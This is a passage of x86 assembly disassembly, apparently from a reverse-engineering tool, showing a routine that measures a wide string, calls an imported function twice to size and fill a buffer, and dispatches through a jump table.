push edi
push esi
sub esp, 0x1c
mov ebx, dword [esp + 0x34]
mov ebp, 0xfffffffe
cmp word [ebx + ebp + 2], 0
lea ebp, [ebp + 2]
jne 0x422f00
sar ebp, 1
lea eax, [esp + 4]
push eax
push 0
push 0
push ebp
push ebx
push 0
call dword [0x452160]
mov edi, dword [esp + 4]
test edi, edi
jns 0x422f2f
mov eax, 0xffffffff
jmp 0x422f32
lea eax, [edi + edi]
push eax
call fcn.0040cb10
add esp, 4
mov esi, eax
lea eax, [esp + 4]
push eax
push edi
push esi
push ebp
push ebx
push 0
call dword [0x452160]
lea ebx, [esp + 8]
push ebx
push esi
call fcn.00445210
add esp, 8
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44cdb8]